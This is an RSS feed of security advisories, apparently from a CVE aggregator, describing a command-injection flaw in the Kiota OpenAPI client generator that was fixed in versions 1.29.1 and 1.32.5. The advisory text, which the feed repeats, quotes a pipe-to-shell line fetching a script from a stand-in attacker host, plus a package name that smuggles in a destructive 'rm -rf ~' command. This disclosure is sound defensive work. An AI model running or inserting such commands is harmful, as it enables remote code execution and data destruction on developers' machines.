https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Tue, 06 Oct 2026 10:50:40 +0000 https://cve.radiocsirt.org/vuln/euvd-2026-354320 EUVD-2026-354320 https://cve.radiocsirt.org/vuln/euvd-2026-354320 https://cve.radiocsirt.org/vuln/fkie_cve-2026-59865 <p>Kiota is an OpenAPI based HTTP Client code generator. Prior to 1.29.1 and 1.32.5, `kiota info` read x-ms-kiota-info.languagesInformation.&lt;language&gt;.dependencyInstallCommand plus dependency name and version values from an OpenAPI description and presented the spec-supplied command as Kiota&#39;s recommended install command, allowing an attacker-controlled or compromised description to cause command injection when the suggested command was run manually or through the Kiota VS Code extension&#39;s kiota info --json dependency-install flow. This issue is fixed in version 1.29.1 and 1.32.5.</p> <p>Kiota is an OpenAPI based HTTP Client code generator. Prior to 1.29.1 and 1.32.5, `kiota info` read x-ms-kiota-info.languagesInformation.&lt;language&gt;.dependencyInstallCommand plus dependency name and version values from an OpenAPI description and presented the spec-supplied command as Kiota&#39;s recommended install command, allowing an attacker-controlled or compromised description to cause command injection when the suggested command was run manually or through the Kiota VS Code extension&#39;s kiota info --json dependency-install flow. This issue is fixed in version 1.29.1 and 1.32.5.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2026-59865 https://cve.radiocsirt.org/vuln/ghsa-hq9q-27g5-qwpj <p><strong>Affected:</strong> NuGet: Microsoft.OpenApi.Kiota, NuGet: Microsoft.OpenApi.Kiota.Builder</p> <p>### Summary</p> <p>`kiota info` — the command developers run to learn which packages to install after generating a client — read the `x-ms-kiota-info` extension from the OpenAPI description and presented the spec-supplied `dependencyInstallCommand` (and dependency `name`/`version`) **as the tool&#39;s own recommended install command**, replacing kiota&#39;s normally-trusted suggestion. With an attacker-controlled or compromised description:</p> <p>``` $ kiota info -d &lt;attacker-spec&gt; -l CSharp ... Hint: use the install command to install the dependencies. Example: curl -s https://attacker.example/x.sh | bash # attacker-controlled ```</p> <p>A developer who followed kiota&#39;s explicit instruction (run the suggested install command) executed attacker-controlled shell — **command injection → RCE**. The IDE-facing `kiota info --json` output, which the Kiota **VS Code extension** consumes to offer/run dependency installation, exposed the raw command string directly, so an &#34;install dependencies&#34; action in the IDE could run it automatically.</p> <p>Confirmed on Kiota **1.32.4**.</p> <p>### Details</p> <p>`x-ms-kiota-info.languagesInformation.&lt;language&gt;.dependencyInstallCommand` was emitted verbatim as the install-command example, and `dependencies[].name`/`version` were shown verbatim in the package table:</p> <p>``` # spec x-ms-kiota-info: languagesInformation: CSharp: dependencyInstallCommand: &#34;curl -s https://attacker.example/x.sh | bash&#34; dependencies: [{ name: &#34;Evil.Pkg; rm -rf ~&#34;, version: &#34;1.0…</p> <p><strong>Affected:</strong> NuGet: Microsoft.OpenApi.Kiota, NuGet: Microsoft.OpenApi.Kiota.Builder</p> <p>### Summary</p> <p>`kiota info` — the command developers run to learn which packages to install after generating a client — read the `x-ms-kiota-info` extension from the OpenAPI description and presented the spec-supplied `dependencyInstallCommand` (and dependency `name`/`version`) **as the tool&#39;s own recommended install command**, replacing kiota&#39;s normally-trusted suggestion. With an attacker-controlled or compromised description:</p> <p>``` $ kiota info -d &lt;attacker-spec&gt; -l CSharp ... Hint: use the install command to install the dependencies. Example: curl -s https://attacker.example/x.sh | bash # attacker-controlled ```</p> <p>A developer who followed kiota&#39;s explicit instruction (run the suggested install command) executed attacker-controlled shell — **command injection → RCE**. The IDE-facing `kiota info --json` output, which the Kiota **VS Code extension** consumes to offer/run dependency installation, exposed the raw command string directly, so an &#34;install dependencies&#34; action in the IDE could run it automatically.</p> <p>Confirmed on Kiota **1.32.4**.</p> <p>### Details</p> <p>`x-ms-kiota-info.languagesInformation.&lt;language&gt;.dependencyInstallCommand` was emitted verbatim as the install-command example, and `dependencies[].name`/`version` were shown verbatim in the package table:</p> <p>``` # spec x-ms-kiota-info: languagesInformation: CSharp: dependencyInstallCommand: &#34;curl -s https://attacker.example/x.sh | bash&#34; dependencies: [{ name: &#34;Evil.Pkg; rm -rf ~&#34;, version: &#34;1.0…</p> https://cve.radiocsirt.org/vuln/ghsa-hq9q-27g5-qwpj